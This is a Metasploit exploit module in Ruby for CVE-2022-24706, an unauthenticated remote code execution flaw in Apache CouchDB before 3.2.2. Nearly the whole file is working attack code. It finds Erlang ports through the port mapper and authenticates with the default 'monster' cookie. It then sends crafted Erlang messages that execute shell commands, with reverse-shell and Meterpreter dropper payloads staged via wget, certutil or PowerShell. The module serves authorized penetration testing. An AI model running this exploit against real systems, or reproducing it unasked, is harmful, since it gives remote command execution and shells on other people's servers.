##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Retry
  include Msf::Exploit::Powershell
  prepend Msf::Exploit::Remote::AutoCheck
  require 'msf/core/exploit/powershell'
  require 'digest'

  # Constants required for communicating over the Erlang protocol defined here:
  # https://www.erlang.org/doc/apps/erts/erl_dist_protocol.html
  EPM_NAME_CMD = "\x00\x01\x6e".freeze
  NAME_MSG = "\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA".freeze
  CHALLENGE_REPLY = "\x00\x15r\x01\x02\x03\x04".freeze
  CTRL_DATA = "\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex".freeze
  COOKIE = 'monster'.freeze
  COMMAND_PREFIX = "\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k".freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Couchdb Erlang RCE',
        'Description' => %q{
          In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without
          authenticating and gain admin privileges.
        },
        'Author'	=> [
          'Milton Valencia (wetw0rk)', # Erlang Cookie RCE discovery
          '1F98D',                     # Erlang Cookie RCE exploit
          'Konstantin Burov',          # Apache CouchDB Erlang Cookie exploit
          '_sadshade',                 # Apache CouchDB Erlang Cookie exploit
          'jheysel-r7',                # Msf Module
        ],
        'References' => [
          [ 'EDB', '49418' ],
          [ 'URL', 'https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit'],
          [ 'CVE', '2022-24706'],
        ],
        'License' => MSF_LICENSE,
        'Platform' => ['win', 'linux'],
        'Payload' => {
          'MaxSize' => 60000 # Due to the 16-bit nature of the cmd in the compile_cmd method
        },
        'Privileged' => false,
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_openssl'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => :wget,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'CmdStagerFlavor' => :certutil,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
              }
            }
          ],
          [
            'PowerShell Stager',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh_stager,
              'CmdStagerFlavor' => :certutil,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2022-01-21',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      ),
    )

    register_options(
      [
        Opt::RPORT(4369)
      ]
    )
  end

  def check
    erlang_ports = get_erlang_ports
    # If get_erlang_ports does not return an array of port numbers, the target is not vulnerable.
    return Exploit::CheckCode::Safe('This endpoint does not appear to expose any erlang ports') if erlang_ports.empty?

    erlang_ports.each do |erlang_port|
      # If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been
      # successful and the target as well as the specific socket used in this instance is vulnerable
      sock = connect_to_erlang_server(erlang_port.to_i)
      if sock.instance_of?(Socket)
        @vulnerable_socket = sock
        return Exploit::CheckCode::Vulnerable('Successfully connected to the Erlang Server with cookie: "monster"')
      else
        next
      end
    end
    Exploit::CheckCode::Safe('This endpoint has an exposed erlang port(s) but appears to be a patched')
  end

  # Connect to the Erlang Port Mapper Daemon to collect port numbers of running Erlang servers
  #
  # @return [Array] An array of port numbers for discovered Erlang Servers.
  def get_erlang_ports
    erlang_ports = []
    begin
      print_status("Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: #{datastore['RHOSTS']}:#{datastore['RPORT']}...")
      connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => datastore['RPORT'] })
      # request Erlang nodes
      sock.put(EPM_NAME_CMD)
      sleep datastore['WfsDelay']
      res = sock.get_once
      unless res && res.include?("\x00\x00\x11\x11name couchdb")
        print_error('Did not find any Erlang nodes')
        return erlang_ports
      end

      print_status('Successfully found EDPM socket')
      res.each_line do |line|
        erlang_ports << line.match(/\s(\d+$)/)[0]
      end
    rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e
      print_error("Error connecting to EDPM: #{e.class} #{e}")
      disconnect
      return erlang_ports
    end
    erlang_ports
  end

  # Attempts to connect to an erlang server with a default erlang cookie of 'monster', which is the
  # default erlang cookie value in Apache CouchDB installations before 3.2.2
  #
  # @return [Socket] Returns a socket that is connected and already authenticated to the vulnerable Apache CouchDB Erlang Server
  def connect_to_erlang_server(erlang_port)
    print_status('Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...')
    connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => erlang_port })
    print_status('Connection successful')
    challenge = retry_until_truthy(timeout: 60) do
      sock.put(NAME_MSG)
      sock.get_once(5) # ok message
      sock.get_once
    end
    # The expected successful response from the target should start with \x00\x1C
    unless challenge && challenge.include?("\x00\x1C")
      print_error('Connecting to the Erlang server was unsuccessful')
      return
    end

    challenge = challenge[9..12].unpack('N*')[0]
    challenge_reply = "\x00\x15r\x01\x02\x03\x04"
    md5 = Digest::MD5.new
    md5.update(COOKIE + challenge.to_s)
    challenge_reply << [md5.hexdigest].pack('H*')
    sock.put(challenge_reply)
    sleep datastore['WfsDelay']
    challenge_response = sock.get_once

    if challenge_response.nil?
      print_error('Authentication was unsuccessful')
      return
    end
    print_status('Erlang challenge and response completed successfully')

    sock
  rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e
    print_error("Error when connecting to Erlang Server: #{e.class} #{e} ")
    disconnect
    return
  end

  def compile_cmd(cmd)
    msg = ''
    msg << COMMAND_PREFIX
    msg << [cmd.length].pack('S>')
    msg << cmd
    msg << "jw\x04user"
    payload = ("\x70" + CTRL_DATA + msg)
    ([payload.size].pack('N*') + payload)
  end

  def execute_command(cmd, opts = {})
    payload = compile_cmd(cmd)
    print_status('Sending payload... ')
    opts[:sock].put(payload)
    sleep datastore['WfsDelay']
  end

  def exploit_socket(sock)
    case target['Type']
    when :unix_cmd, :win_cmd
      execute_command(payload.encoded, { sock: sock })
    when :linux_dropper, :win_dropper
      execute_cmdstager({ sock: sock })
    when :psh_stager
      execute_command(cmd_psh_payload(payload.encoded, payload_instance.arch.first), { sock: sock })
    else
      fail_with(Failure::BadConfig, 'Invalid target specified')
    end
  end

  def exploit
    # If the check method has already been run, use the vulnerable socket that has already been identified
    if @vulnerable_socket
      exploit_socket(@vulnerable_socket)
    else
      erlang_ports = get_erlang_ports
      fail_with(Failure::BadConfig, 'This endpoint does not appear to expose any erlang ports') unless erlang_ports.instance_of?(Array)

      erlang_ports.each do |erlang_port|
        sock = connect_to_erlang_server(erlang_port.to_i)
        next unless sock.instance_of?(Socket)

        exploit_socket(sock)
      end
    end
  end
end
